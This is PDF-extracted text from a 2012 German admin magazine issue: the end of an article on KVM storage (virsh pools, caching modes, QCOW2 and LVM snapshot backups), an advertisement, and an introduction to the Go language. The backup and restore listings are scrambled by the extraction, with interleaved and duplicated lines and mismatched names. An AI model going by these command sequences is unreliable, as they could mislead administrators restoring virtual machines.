Besser keine echten<br />

Partitionen<br />

Wenn Sie noch einen Schritt weiter gehen<br />

möchten und eine ganze Festplatte oder<br />

SSD exklusiv einer virtuellen Maschine<br />

zuweisen möchten, stoßen Sie an die<br />

Grenzen von KVM. Das KVM-Kommando<br />

(nicht aber die Libvirt-Werkzeuge) bietet<br />

diese Möglichkeit zwar prinzipiell,<br />

die KVM/​Qemu-Dokumentation empfiehlt<br />

aber dringend, den Zugriff ausschließlich<br />

read-only durchzuführen.<br />

Der praktische Nutzen ist damit gering.<br />

Das zugrunde liegende Problem besteht<br />

darin, dass der direkte Zugriff auf eine<br />

Festplatte sowohl durch das Host-System<br />

als auch durch die virtuelle Maschine<br />

Konflikte verursacht. Linux bietet keine<br />

Möglichkeit, den Zugriff auf eine Festplatte<br />

oder SSD auf einen bestimmten<br />

Prozess zu beschränken.<br />

Anstelle des Virtual Machine Managers<br />

können Sie die Datenträger auch in der<br />

Virtual Shell administrieren. Die »virsh«<br />

bietet dazu diverse »pool«- und »vol«-<br />

Kommandos. Listing 1 gibt dafür einige<br />

Beispiele.»pool‐define‐as« richtet einen<br />

neuen Pool ein. Der erste Parameter gibt<br />

den Namen, der zweite den Typ an, zum<br />

Beispiel »dir« für ein lokales Verzeichnis<br />

für Image-Dateien, »logical« für eine Volume<br />

Group (LVM) oder »disk« für eine<br />

ganze Festplatte.<br />

Im zweiten Parameter geben Sie den Namen<br />

des neuen Speicherpools an. Beachten<br />

Sie, dass das »‐‐target«-Verzeichnis<br />

bei Pools des Typs »dir« bereits existieren<br />

muss.<br />

»pool‐start« aktiviert den neuen Pool.<br />

»pool‐autostart« bewirkt, dass der neue<br />

Pool in Zukunft automatisch beim Start<br />

des Libvirt-Dämons aktiviert wird.<br />

virsh# pool‐define‐as new‐pool dir ‐‐targetU<br />

/data/new‐pool<br />

Pool new‐pool definiert.<br />

virsh# pool‐start new‐pool<br />

Pool new‐pool gestartet<br />

virsh# pool‐autostart new‐pool<br />

Pool new‐pool marked as autostarted<br />

»vol‐create‐as« erzeugt in einem Verzeichnis-Pool<br />

standardmäßig RAW-Images,<br />

wobei der gesamte Speicherplatz sofort<br />

alloziert wird. Das können Sie durch die<br />

Option »‐‐allocate 0G« verhindern. (In der<br />

virsh und in anderen Libvirt-Werkzeugen<br />

werden Datenträger als Volumes bezeichnet.<br />

Deswegen beginnen alle Kommandos<br />

zur Bearbeitung von Datenträgern mit<br />

»vol‐«.) Tabelle 1 zeigt noch einmal die<br />

wichtigsten Kommandos im Überblick.<br />

virsh# vol‐create‐as new‐pool test1.img 10GU<br />

‐‐allocation 0G<br />

Caching<br />

In der Detailansicht des Virtual Machine<br />

Manager können Sie im Dialogblatt des<br />

Datenträgers zwischen verschiedenen<br />

Caching-Modi wählen (Abbildung 4).<br />

Dazu müssen Sie zuerst die normalerweise<br />

versteckten Bereiche »Advanced<br />

options« und »Performance options« ausklappen.<br />

Dann stehen beim Feld »Cache<br />

mode« vier Einstellungen zur Auswahl:<br />

n None: Es wird kein Caching verwendet.<br />

Diese Einstellung gilt standardmäßig<br />

bei im Virtual Disk Manager<br />

eingerichteten virtuellen Maschinen.<br />

n Default: Der Hypervisor entscheidet,<br />

ob und welches Caching-Verfahren<br />

zum Einsatz kommt. Bei KVM ist das<br />

derzeit Writethrough-Caching (siehe<br />

den nächsten Punkt). Vorsicht: Das<br />

Defaultverhalten kann sich in zukünftigen<br />

KVM-Versionen ändern!<br />

n Writethrough: Mit dieser Einstellung<br />

werden Lese- und Schreibzugriffe<br />

durch den Zwischenspeicher des<br />

Hostsystems beschleunigt. Schreibzugriffe<br />

im Gastsystem werden aber erst<br />

dann abgeschlossen, wenn das Hostsystem<br />

den Speichervorgang quittiert<br />

hat. Jeder Synchronisationsvorgang<br />

(sync, fsync) muss physikalisch auf<br />

dem Hostsystem abschlossen werden,<br />

bevor der betreffende Prozess im Gastsystem<br />

weiterarbeiten kann. Aktuelle<br />

Qemu/​KVM-Versionen berücksichtigen<br />

dabei I/​O Barriers.<br />

n Writeback: In diesem Fall werden<br />

auch die Schreibvorgänge durch das<br />

Gastsystem gepuffert (so wie bei jedem<br />

Programm, das in eine Datei<br />

schreibt). Synchronisationsvorgänge<br />

werden nicht direkt weitergeleitet,<br />

sondern vom Hostsystem nach dessen<br />

Ermessen durchgeführt. Das führt<br />

bei Schreibvorgängen zu einer erheblichen<br />

Beschleunigung.<br />

Natürlich hat diese Art des Cachings<br />

einen gravierenden Nachteil: Wenn das<br />

Hostsystem abstürzt, kann es passieren,<br />

dass das Dateisystem des Gasts inkonsistent<br />

und im schlimmsten Fall unbenutzbar<br />

wird. Besonders groß ist dieses Risiko<br />

bei QCOW2-Image-Dateien. Abstürze des<br />

Gasts verursachen hin<strong>gegen</strong> nicht mehr<br />

Probleme als bei nicht-virtualisierten Systemen.<br />

Welches ist nun die beste Einstellung?<br />

In der KVM-Dokumentation wird häufig<br />

die Einstellung »None« empfohlen.<br />

Meine eigenen Benchmarks haben aber<br />

Listing 1: »virsh«-Beispiele<br />

01 root# virsh<br />

02 virsh# pool‐list<br />

03 Name Status Automatischer Start<br />

04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

05 default Aktiv yes<br />

06 my‐pool Aktiv yes<br />

07 vg2 Aktiv yes<br />

08 virsh# vol‐list my‐pool<br />

09 Name Pfad<br />

10 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

11 centos‐test1.img /data/my‐pool/vm‐centos/<br />

centos‐test1.img<br />

12 centos‐test2.img /data/my‐pool/vm‐centos/<br />

centos‐test2.img<br />

13 ...<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

121


Virtualisierung<br />

KVM-Storage<br />

01 Backup:<br />

01 Backup:<br />

01 Backup:<br />

02 mkdir /snap<br />

ergeben, dass das Writethrough-Caching<br />

bei virtuellen Maschinen, die viele I/​<br />

O-Operationen durchführen, eine deutliche<br />

Geschwindigkeitssteigerung bewirkt<br />

(auch bei LVM-Datenträgern). Noch<br />

mehr Performance bietet das Writeback-<br />

Caching, von dessen Einsatz ich aber aus<br />

Sicherheitsgründen abrate.<br />

Snapshots mit QCOW2<br />

Listing 3: Backup eines LV-Datenträgers<br />

02 lvcreate ‐s ‐L 2G ‐n vmname_snap /dev/vg1/vmname<br />

03 cat /dev/vg1/vmname_snap > /backup/vmname.img<br />

04 lvremove ‐f /dev/vg1/vmname_snap<br />

05 <br />

Listing 2: Backup eines QCOW2-Image<br />

02 virsh snapshot‐create‐as vmname snapname<br />

03 cp /var/lib/libvirt/images/vmname.img /backup<br />

04 cp /etc/libvirt/qemu/vmname.xml /backup<br />

05 cp /var/lib/libvirt/qemu/snapshot/vmname/snapname.<br />

xml /backup<br />

06 <br />

07 Wiederherstellung:<br />

08 cp /backup/vmname.img /var/lib/libvirt/images<br />

09 virsh define /backup/vmname.xml<br />

10 virsh snapshot‐create vmname /backup/snapname.xml<br />

‐‐redefine<br />

11 virsh snapshot‐revert vm backsnap ‐‐running<br />

06 Wiederherstellung:<br />

07 cat /backup/vmname.img > /dev/vg1/vmname_snap<br />

Listing 4: Image-Datei im Dateisystem in einem LV<br />

03 lvcreate ‐s ‐L 2G ‐‐name images‐snap /dev/vg1/<br />

lv‐images<br />

04 mount /dev/vg1/images‐snap /snap<br />

05 cp /snap/vmname.img /backup<br />

06 umount /snap<br />

07 lvremove /dev/vg1/images‐snap<br />

08 rmdir /snap<br />

09 <br />

10 Wiederherstellung:<br />

11 cp /backup/vmname.img /var/lib/libvirt/images/<br />

Snapshots helfen dabei, den Zustand<br />

oder das Dateisystem einer virtuellen Maschine<br />

zu einem bestimmten Zeitpunkt<br />

zu speichern. Dazu gibt es unterschiedliche<br />

Verfahren, je nachdem, welche virtuellen<br />

Datenträger zum Einsatz kommen.<br />

Die beste Snapshot-Unterstützung genießen<br />

QCOW2-Images. Die Image-Datei<br />

setzt sich aus relativ kleinen Blöcken<br />

zusammen. Als Snapshot gilt ein Readonly-Abbild<br />

des gesamten Images. Änderungen<br />

nach der Durchführung des<br />

Snapshots werden in neuen Blöcken gespeichert,<br />

sodass das Image weiterhin<br />

verwendbar bleibt.<br />

Es ist erlaubt, mehrere Snapshots zu<br />

erstellen. Allerdings beanspruchen Änderungen,<br />

die nach dem Snapshot gespeichert<br />

werden, zusätzlichen Speicherplatz.<br />

Somit liegen nun zwei oder mehr<br />

Versionen des Images vor; die Image-<br />

Datei kann deswegen größer werden als<br />

die beim Erzeugen definierte Maximalgröße!<br />

Um einen Snapshot im laufenden Betrieb<br />

einer virtuellen Maschine zu erzeugen,<br />

verwenden Sie das Virsh-Kommando<br />

»snapshot‐create«. Auch die weitere Administration<br />

der Snapshots erfolgt auf<br />

Kommandoebene (»snapshot‐revert«,<br />

»snapshot‐delete«, »snapshot‐list«). Der<br />

Virtual Maschine Manager unterstützt<br />

leider noch keine Snapshots.<br />

Eingefroren<br />

Bei der Erzeugung eines Snapshots<br />

wird auch der Zustand der virtuellen<br />

Maschine gespeichert (inklusive<br />

aller CPU-Register, eines Abbilds des<br />

RAM und so weiter). Diese Daten werden<br />

in einem eigenen Segment innerhalb<br />

der QCOW2-Datei gespeichert.<br />

Die Libvirt-Dokumentation spricht<br />

in diesem Zusammenhang von VM-<br />

Snapshots. Während der Ausführung<br />

von »snapshot‐create« wird die virtuelle<br />

Maschine vorübergehend angehalten. Sie<br />

läuft dann aber weiter.<br />

Wenn man mit dem<br />

Virsh-Kommando<br />

»snapshot‐revert«<br />

einen älteren<br />

Snapshot aktiviert,<br />

wird nicht nur die<br />

Image-Datei in den<br />

damaligen Zustand<br />

versetzt, sondern<br />

auch die virtuelle<br />

Maschine. Sie läuft<br />

also an der Stelle<br />

weiter, an der sie<br />

sich befand, als<br />

der Snapshot erstellt<br />

wurde.<br />

Leider dauert<br />

das Erstellen von<br />

QCOW2-Snapshots relativ lange, wenn<br />

das Caching aktiv ist. Wenn Sie auf<br />

das Caching nicht verzichten möchten,<br />

können Sie QCOW2-Snapshots mit dem<br />

Kommando »snapshot‐create ‐‐disk‐only«<br />

auch ohne Speicherung des RAM-Abbilds<br />

erzeugen. Das ist wesentlich schneller,<br />

hat aber den Nachteil, dass die virtuelle<br />

Maschine bei der Nutzung eines<br />

Snapshots nicht im bisherigen Zustand<br />

fortgesetzt werden kann, sondern neu<br />

gestartet werden muss. Die virtuelle Maschine<br />

verhält sich damit wie ein Rechner,<br />

der plötzlich ausgeschaltet wurde.<br />

LVM-Snapshots<br />

Eine Alternative zu QCOW2-Snapshots<br />

sind LVM-Snapshots. Diese Variante<br />

kommt natürlich nur dann infrage,<br />

wenn Sie die Image-Dateien in einem<br />

Logical Volume speichern, oder wenn<br />

Sie ein Logical Volume direkt als virtuellen<br />

Datenträger verwenden. Die Administration<br />

von LVM-Backups erfolgt<br />

vollkommen losgelöst von KVM beziehungsweise<br />

von den Libvirt-Werkzeugen<br />

durch das LVM-Kommando »lvcreate«.<br />

Anders als bei QCOW2-Snapshots besteht<br />

deswegen auch keine Möglichkeit, das<br />

Speicherabbild der virtuellen Maschine<br />

zu sichern. LVM-Snapshots von laufenden<br />

virtuellen Maschinen verhalten sich<br />

daher wie QCOW2-Snapshots mit der<br />

Option »‐‐disk‐only«.<br />

Grundsätzlich ist es einfach, ein Backup<br />

einer virtuellen Maschine durchzuführen:<br />

Sie fahren die virtuelle Maschine hinunter,<br />

kopieren die Image-Datei beziehungs-<br />

Abbildung 4: I/​O-Caching im Virtual Machine Manager einstellen.<br />

122 Ausgabe 04-2012 Admin www.admin-magazin.de


KVM-Storage<br />

Virtualisierung<br />

weise lesen das Logical Volume aus und<br />

starten die Maschine dann neu. Diese Art<br />

des Backups ist für den <strong>Server</strong>-Einsatz<br />

aber ungeeignet: Die virtuellen Maschinen<br />

sollen selbstverständlich auch während<br />

eines Backups weiterlaufen. Umgekehrt<br />

ist es aber zwecklos, ein Logical Volume<br />

oder eine Image-Datei im laufenden<br />

Betrieb einfach auszulesen: Das Volume<br />

respektive die Datei würde sich während<br />

der Erstellung der Sicherung ändern, die<br />

resultierende Backup-Datei wäre inkonsistent<br />

und damit unbrauchbar.<br />

Snapshots bieten einen Ausweg aus<br />

diesem Dilemma. Dabei gibt es drei<br />

Varianten: QCOW2-Snapshots, LVM-<br />

Snapshots für ein Logical Volume, das<br />

direkt als KVM-Datenträger verwendet<br />

wird, oder LVM-Snapshots für ein Logical<br />

Volume, das ein Dateisystem mit<br />

KVM-Image-Dateien enthält. Die Listings<br />

2, 3 und 4 fassen die Kommandos zusammen,<br />

mit denen Sie für jede dieser<br />

Varianten ein Backup durchführen be-<br />

ziehungsweise die virtuelle Maschine<br />

aus dem Backup wiederherstellen.<br />

Bei den Varianten 3 und 4 lautet der<br />

Name der Volume Group jeweils »vg1«.<br />

Bei der Variante 4 gehe ich zusätzlich<br />

davon aus, dass sich das Verzeichnis »/<br />

var/lib/libvirt/images« direkt im Logical<br />

Volume »lv‐images« befindet.<br />

Die QCOW2-Variante ist am sichersten.<br />

Hier wird nämlich nicht nur der Datenträger<br />

selbst gesichert, sondern auch der<br />

Zustand der virtuellen Maschine zum<br />

Zeitpunkt des Backups. Das macht aber<br />

die Wiederherstellung aufwendiger, weil<br />

auch das RAM-Abbild wieder korrekt in<br />

das Libvirt-System eingespielt werden<br />

muss.<br />

Fazit<br />

Mitunter lohnt es sich, bei der KVM-<br />

Virtualisierung von den Standardeinstellungen<br />

bei der Auswahl des Image-Typs<br />

abzuweichen. Insbesondere bei Backups<br />

und Snapshots hat das Format großen<br />

Einfluss auf die verwendeten Werkzeuge<br />

und den Arbeitsablauf. Die richtigen<br />

Einstellungen beim Caching haben zum<br />

Teil erhebliche Auswirkungen auf die I/​<br />

O-Performance des virtualisierten Gastsystems.<br />

(ofr)<br />

n<br />

Infos<br />

[1] KVM-Homepage:<br />

[http://www.linux-kvm.org]<br />

[2] Virtio-Treiber für Windows:<br />

[http:// alt. fedoraproject. org/ pub/ alt/​<br />

virtio‐win/ latest/ images/ bin/]<br />

[3] QED-Disk-Format:<br />

[http://wiki.qemu.org/Features/QED]<br />

Der Autor<br />

Michael Kofler [http:// kofler. info] arbeitet als<br />

selbstständiger Computerbuch-Autor und Trainer.<br />

Zuletzt hat er zusammen mit Ralf Spenneberg<br />

das Buch „KVM für die <strong>Server</strong>-Virtualisierung“ im<br />

Addison-Wesley-Verlag veröffentlicht.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

123


Programmieren<br />

Go<br />

© Dimitar Dimitrov, 123RF<br />

Programmieren mit Go<br />

Moderner<br />

Klassiker<br />

Die Programmiersprache Go verspricht mit der vor Kurzem erschienenen<br />

Version 1 langfristige Kompatibilität. Konzipiert zur Systemprogrammierung,<br />

verzichtet sie auf modische Features und ist somit auch interessant<br />

für alle, die an akuter Hype-Allergie leiden. Oliver Frommel<br />

Listing 1: Error Handling<br />

01 for try := 0; try < 2; try++ {<br />

02 file, err = os.Create(filename)<br />

03 if err == nil {<br />

04 return<br />

05 }<br />

06 if e, ok := err.(*os.PathError); ok && e.Err ==<br />

syscall.ENOSPC {<br />

07 deleteTempFiles() // Recover some space.<br />

08 continue<br />

09 }<br />

10 return<br />

11 }<br />

Go macht keine falschen Versprechungen.<br />

Vielleicht ist es gerade das, was die<br />

Sprache längerfristig interessant macht.<br />

Im Jahr 2007 haben Robert Griesemer,<br />

Ken Thompson und Rob Pike sie erfunden,<br />

weil sie mit den existierenden<br />

Sprachen zur Systemprogrammierung<br />

unzufrieden waren. Dabei bedienen sie<br />

keinen der aktuellen Trends um asynchrone<br />

Webprogrammierung oder Cloud<br />

Computing. Vielmehr haben sie aus 30<br />

Jahren Erfahrung mit C gelernt und eine<br />

Programmiersprache geschaffen, die deren<br />

Nachfolge antreten könnte.<br />

Wie C zeigt auch Go [1] seine Stärken bei<br />

der Systemprogrammierung, wenngleich<br />

sich die Sprache natürlich für nahezu alle<br />

Zwecke einsetzen lässt. Die Spracherfinder<br />

sind bei Google angestellt, deshalb<br />

hat Go neben Java und Python auch<br />

seinen Weg auf die Google App Engine<br />

gefunden, die Go derzeit im experimentellen<br />

Stadium unterstützt [2].<br />

Zukunftsträchtig<br />

Anfang 2008 hatte Ken Thompson einen<br />

ersten experimentellen Compiler fertiggestellt,<br />

der C-Code erzeugt. Ian Tyler<br />

begann etwas später mit der Arbeit an einem<br />

Go-Frontend für den GCC-Compiler.<br />

Gegen Ende des Jahres stieg Russ Cox<br />

in das Go-Projekt ein, und die Arbeit<br />

ging etwas schneller voran. Im November<br />

2009 präsentierte das Team dann endlich<br />

das erste öffentliche Release des Go-<br />

Compilers. Im März 2012 erschien Version<br />

1.0 von Compiler und Spezifikation,<br />

die Kompatibilität für die kommenden<br />

Go-Releases verspricht [3]. Damit eignet<br />

sich Go jetzt auch für richtige Software-<br />

Projekte, nicht nur für Experimente.<br />

Die ausgesprochenen Ziele des Go-<br />

Projekts sind effiziente Übersetzung,<br />

schnelle Ausführung und einfache Programmierung.<br />

Bei existierenden Sprachen<br />

seien alle drei Zeile zusammen nicht zu<br />

haben, meinen die Go-Erfinder. Go soll<br />

das simple Programmieren in den immer<br />

beliebteren Sprachen wie Python und<br />

Ruby mit der Effizienz und Zuverlässigkeit<br />

von Sprachen wie C, C++ und Java<br />

kombinieren. Dabei soll die Übersetzung<br />

aber nicht so lange dauern wie etwa bei<br />

Java-Projekten. Außerdem will Go besser<br />

mit Abhängigkeiten zwischen externen<br />

Bibliotheken umgehen.<br />

Einfachheit ist eines der hervorstechenden<br />

Merkmale von Go. Ihr zuliebe haben<br />

die Spracherfinder auf viele Konstrukte<br />

verzichtet. In erster Linie soll Go eine<br />

konsistente und unzweideutige Syntax<br />

besitzen. Das kann man von Sprachen<br />

wie etwa Perl, Ruby oder Scala nicht<br />

behaupten, die für ein und denselben<br />

Zweck eine Vielzahl syntaktischer Konstrukte<br />

oder Methoden besitzen.<br />

Go orientiert sich an C, lässt aber viele<br />

Sprachelemente weg, beispielsweise solche,<br />

die redundant den gleichen Zweck<br />

erfüllen. Zum Beispiel gibt es vom Inkrement-Operator<br />

»++« nur noch die<br />

Postfix-Variante, die hinter der Variable<br />

steht. Gleichzeitig ist dies nur eine Anweisung,<br />

aber kein Ausdruck, der gleich<br />

weiterverwendet werden kann. Das führt<br />

zwar zu etwas mehr Schreibarbeit, aber<br />

zu eindeutiger Semantik und weniger<br />

Verwirrung.<br />

Etwas klarer werden Go-Programme noch<br />

durch Anleihen bei strukturierten Sprachen<br />

wie Pascal, Modula und Oberon.<br />

Teilweise war die Go-Syntax schon in<br />

Newsqueak und Limbo verwirklicht.<br />

Letztere ist die Programmiersprache des<br />

Inferno-Betriebssystems, das wiederum<br />

ein Ableger des Plan9-Systems ist, an<br />

dem Thompson und Pike früher arbeiteten.<br />

Klar formatiert<br />

Beispielsweise verzichtet Go auf Strichpunkte,<br />

die einzelne Statements abschließen<br />

(Abbildung 1). Tatsächlich sind die<br />

Strichpunkte Teil der Sprachspezifikation,<br />

aber der Parser ergänzt sie selbstständig,<br />

ähnlich wie es auch die Javascript-Spezifikation<br />

vorsieht. Damit das klappt, muss<br />

sich der Programmierer an den vorgegebenen<br />

Stil der Klammersetzung halten,<br />

der vorsieht, dass öffnende Klammern<br />

von Blocks immer am Ende einer Zeile<br />

erscheinen, nicht alleine zu Beginn der<br />

folgenden Zeile. Das mitgelieferte Tool<br />

»gofmt« stellt diese Formatierung sicher,<br />

124 Ausgabe 04-2012 Admin www.admin-magazin.de


Go<br />

Programmieren<br />

Abbildung 1: Die Tour auf der Go-Homepage verschafft einen guten ersten Eindruck der Programmiersprache.<br />

gibt es auch, aber eher<br />

wie in Pascal, also ohne<br />

die C-typische Zeigerarithmetik.<br />

Generische Typen, wie<br />

sie von C++, Java und<br />

Python bekannt sind,<br />

gibt es in Go nicht, wenn<br />

auch die Entwickler ihnen<br />

einen gewissen Nutzen<br />

bescheinigen und für<br />

die ferne Zukunft eine<br />

Implementierung nicht<br />

definitiv ausschließen.<br />

Dennoch lässt es sich in<br />

Go objektorientiert programmierern,<br />

die Abstraktion<br />

hierfür sind die<br />

sogenannten Interfaces,<br />

die sich aber von Interfaces<br />

etwa in Java oder<br />

Objective-C unterscheiden.<br />

Ein Interface speziwas<br />

den Programmierer von Handarbeit<br />

befreit und dafür sorgt, dass Go-Code bei<br />

allen Projekten gleich aussieht.<br />

Variablen werden mit dem Schlüsselwort<br />

»var« deklariert, gefolgt vom Variablennamen<br />

und dem Typ, also umgekehrt wie<br />

bei C, C++ oder Java:<br />

var x float64<br />

Variablennamen können mit jedem Zeichen<br />

beginnen, das im Unicode-Standard<br />

als Buchstabe gilt, jedoch sollte man es<br />

hierbei vernünftigerweise nicht übertreiben.<br />

Mit dem Operator »:=« lassen sich<br />

Variablen in einem Aufwasch definieren<br />

und initialisieren. Das Schlüsselwort<br />

»var« kann man hierbei, ebenso wie<br />

meist die Typangabe weglassen:<br />

i := 1<br />

pi := 3.142<br />

Auch bei Schleifen haben die Go-Entwickler<br />

radikal ausgemistet, was bei<br />

näherer Betrachtung durchaus sinnvoll<br />

erscheint, denn all die Whiles, Dos und<br />

Foreachs lassen sich meist einfach umformulieren.<br />

In Go gibt es nur noch die gute<br />

alte For-Schleife.<br />

Typen<br />

Aus der steigenden Popularität von Sprachen<br />

wie Python und Javascript haben<br />

die Go-Entwickler die Lehre gezogen,<br />

dass ein einfaches Typsystem die Verbreitung<br />

einer Programmiersprache eher fördert.<br />

Wie Robert Griesemer es ausdrückt:<br />

„Clumsy type systems drive people to<br />

dynamically typed languages.“ Dennoch<br />

wollten sie auf die Zuverlässigkeit, die<br />

stark typisierte Sprachen bieten, nicht<br />

verzichten. Der klassische Kompromiss<br />

ist bei Go nun in starker Typisierung mit<br />

Typinferenz verwirklicht, das heißt jede<br />

Variable hat einen fixen Typ, aber der<br />

Programmierer kann darauf verzichten,<br />

ihn anzugeben, wenn der Compiler ihn<br />

erschließen kann.<br />

Gleichzeitig gibt es aber in Go auch keine<br />

strikte Typenhierarchie, weil dies nach<br />

Ansicht der Entwickler die Implementierung<br />

von Compiler und<br />

Tools verkompliziert und<br />

zu endlosen Diskussionen<br />

über die konkrete<br />

Ausformung der Hierarchie<br />

führt. Stattdessen<br />

bietet Go wichtige<br />

Typen wie Arrays und<br />

Maps (Hashes) schon<br />

im Sprachkern. Pointer<br />

fiziert eine Sammlung von Methoden,<br />

die „Objekte“ implementieren, um damit<br />

eine bestimmte Funktion zu erfüllen,<br />

ohne dass sie einer gemeinsamen Klasse<br />

angehören müssen.<br />

Auch Exceptions gibt es in Go nicht, weil<br />

sie zu unkontrollierbaren Änderungen im<br />

Programmfluss führen. Als Alternative<br />

bietet Go mehrere Rückgabewerte für<br />

Funktionen an, die sich über einen Wildcard-Mechanismus<br />

zum Auslesen von<br />

Fehlerwerten eignen. Listing 1 zeigt in<br />

Zeile 2, wie der Aufruf von »os.Create()«<br />

gleichzeitig das Datei-Handle und einen<br />

Fehlercode zurückgibt.<br />

Tools<br />

Wer selbst mit der Go-Programmierung<br />

loslegen will, muss meistens erst noch<br />

den Compiler installieren, den es aber zumindest<br />

auf modernen Linux-Distributionen<br />

schon im Paketmanagement-System<br />

gib. Auf Ubuntu 12.04 etwa genügt zur<br />

… alles nur eine Frage der Lastverteilung !<br />

BalanceNG ®<br />

●<br />

Der Software Load-Balancer für Linux und Solaris<br />

●<br />

Voll virtualisierbar<br />

●<br />

Keine zusätzliche Hardware erforderlich<br />

●<br />

Security made in Germany:<br />

Garantiert frei von versteckten “Backdoors”<br />

Alle Informationen unter: www.BalanceNG.net<br />

Inlab Software GmbH<br />

Josef-Würth-Str. 3<br />

82031 Grünwald<br />

Tel: 089 / 64911420<br />

http://www.inlab.de<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

125


Programmieren<br />

Go<br />

Installation »apt‐get install golang«. Für<br />

alle anderen, einschließlich Mac- und<br />

Windows-Benutzer, gibt es Binärdistributionen<br />

des Go-Pakets.<br />

Nach der Installation finden sich auf der<br />

Festplatte, je nach Prozessorarchitektur,<br />

die Befehle »6a«, »6c«, »6g« und »6l« oder<br />

analoge Befehle mit den Ziffern 5 oder 8.<br />

Die 6er-Tools sind für AMD64, die 5er-<br />

Reihe für 368 und die 8er für ARM. Die<br />

seltsamen Namen sind ebenfalls ein Erbe<br />

von Plan9, das über diese Ziffern die Prozessorarchitekturen<br />

identifiziert.<br />

Praktischerweise muss man sich um<br />

diese Details in der Praxis nicht kümmern,<br />

sondern kann stattdessen einfach<br />

das Frontend »go« verwenden. Es sei jedoch<br />

noch erwähnt, dass die vom Compiler<br />

erzeugten Object-Dateien mit der Endung<br />

».6« Referenzen auf alle verwendeten<br />

Module enthält, die der Linker dann<br />

verwendet. Damit fällt das Problem weg,<br />

dass man zusätzlich zum Einbinden von<br />

Header-Dateien auch noch die passenden<br />

Libraries finden und beim Linken angeben<br />

muss wie von C und C++ bekannt.<br />

Wenn sich ein Go-Programm kompilieren<br />

lässt, kann der Compiler es auch linken.<br />

Die altbekannten Linker-Probleme gehören<br />

damit der Vergangenheit an. Auch die<br />

Aufgabe von Makefiles übernimmt »go«.<br />

Wer Go richtig installiert hat, sollte auf<br />

der Kommandozeile den Go-Befehl ausführen<br />

können:<br />

$ go version<br />

go version go1<br />

Wenn die Go-Installation nicht automatisch<br />

im »PATH« der ausführbaren Dateien<br />

enthalten ist, sollte man die Umgebungsvariable<br />

»GOROOT« auf das Elternverzeichnis<br />

setzen und dann »$GOROOT/<br />

bin« in den »PATH« aufnehmen.<br />

Weil Go-Programme sich wirklich schnell<br />

übersetzen lassen, eignen sie sich mit<br />

Einschränkungen auch für den Aufruf als<br />

Skript, also eine Art selbstgestrickte Justin-Time-Compilation.<br />

Das Tool Gorun unterstützt<br />

diesen Prozess [4].<br />

Fortgeschritten<br />

Abbildung 2: Die Tour auf der Go-Homepage verschafft einen guten ersten<br />

Eindruck der Programmiersprache.<br />

Trotz aller Reduktion gibt es in Go auch<br />

einige Features, die in anderen Sprachen<br />

als modern gelten und von Programmierern<br />

gewünscht werden. Ein Beispiel dafür<br />

sind die Closures, die in Go anonyme<br />

Funktionen sind, die ihre Umgebung<br />

speichern.<br />

Das erklärte Ziel der einfachen Programmierung<br />

für Multicore-Systeme (Go entstand<br />

in der Prä-Cloud-Ära, als Multicore-Prozessoren<br />

der letzte Schrei waren)<br />

erreicht Go mit einer Abstraktion namens<br />

Goroutines, die nach dem Vorbild der<br />

Communicating Sequential Processes<br />

(CSP) eine Vereinfachung <strong>gegen</strong>über der<br />

fehlerträchtigen Programmierung mit Threads<br />

darstellen [6].<br />

Zum Weiterlesen bietet sich das Online-<br />

Dokument „Effective Go“ an, das besonders<br />

ans Herz gelegt sei, weil es „idomatische“,<br />

also Go-typische Problemlösungen<br />

zeigt [7]. Bücher über Go gibt es<br />

mittlerweile schon einige, darunter auch<br />

zwei deutschsprachige. Hilfe findet man<br />

auch auf der Mailingliste „golang-nuts“<br />

(die Liste „golang-dev“ ist für Compiler-<br />

Entwickler gedacht). Schließlich noch ein<br />

Tipp für die Websuche nach Go-Ressourcen:<br />

statt „go“ als<br />

Suchbegriff einfach<br />

immer „golang“<br />

verwenden.<br />

Lokal lässt sich die<br />

ganze Dokumentation<br />

im Browser<br />

lesen, wenn<br />

man mit »godoc<br />

‐http=:8000« den<br />

Dokumentationsserver<br />

startet.<br />

Go selbst bringt<br />

schon eine Vielzahl<br />

von Bibliotheken<br />

mit (Abbildung<br />

2), weitere<br />

finden sich zum Beispiel unter [8] [9]<br />

und [10]. Größere in Go implementierte<br />

Projekte sind beispielsweise der Webserver<br />

Falcore [11] oder die Websoftware<br />

von Stathat [12].<br />

Fazit<br />

Go ist ausgereift und dank der Vorwärtskompatibilität,<br />

die seine Entwickler garantieren,<br />

für professionelle Software-<br />

Projekte geeignet. Auch die kurzen<br />

Compile-Zeiten sind für größere Projekte<br />

nützlich. Die Reduzierung des Sprachumfangs<br />

macht die Sprache relativ leicht<br />

erlernbar und hilft vor allem dabei, auch<br />

fremden Code leicht zu lesen, was letztlich<br />

die Wartungsfreundlichkeit von Software<br />

fördert. Der Preis für die Reduktion<br />

auf das Wesentliche ist der Verzicht, etwa<br />

auf klassenbasierte Objektorientierung,<br />

die viele Programmierer von ihrer Ausbildung<br />

gewohnt sind. Go bietet eigene<br />

Features zur ansatzweise objektorientierten<br />

Entwicklung, die aber das Eindenken<br />

in neue Konzepte erfordern. Es ist zu<br />

erwarten, dass sich Go gerade im Bereich<br />

der Systemprogrammierung noch weiter<br />

verbreiten wird, aber durch den Support<br />

auf Googles App Engine könnte auch<br />

der Einsatz bei der Webprogrammierung<br />

noch interessant werden.<br />

n<br />

Infos<br />

[1] Go: [http:// golang. org/]<br />

[2] Go auf der App Engine: [https:// developers.​<br />

google. com/ appengine/ docs/ go]<br />

[3] News zu Go 1: [http:// www.​<br />

admin‐magazin. de/ News/ Version‐1‐der‐Pr<br />

ogrammiersprache‐Go‐ist‐fertig]<br />

[4] Gorun: [http:// wiki. ubuntu. com/ gorun]<br />

[6] Communicating Sequential Processes:<br />

[http:// www. usingcsp. com/ cspbook. pdf]<br />

[7] Effective Go: [http:// golang. org/ doc/​<br />

effective_go. html]<br />

[8] Libraries written in pure Go:<br />

[http:// go‐lang. cat‐v. org/ pure‐go‐libs]<br />

[9] Library Bindings for Go:<br />

[http:// go‐lang. cat‐v. org/ library‐bindings]<br />

[10] Externe Go-Projekte:<br />

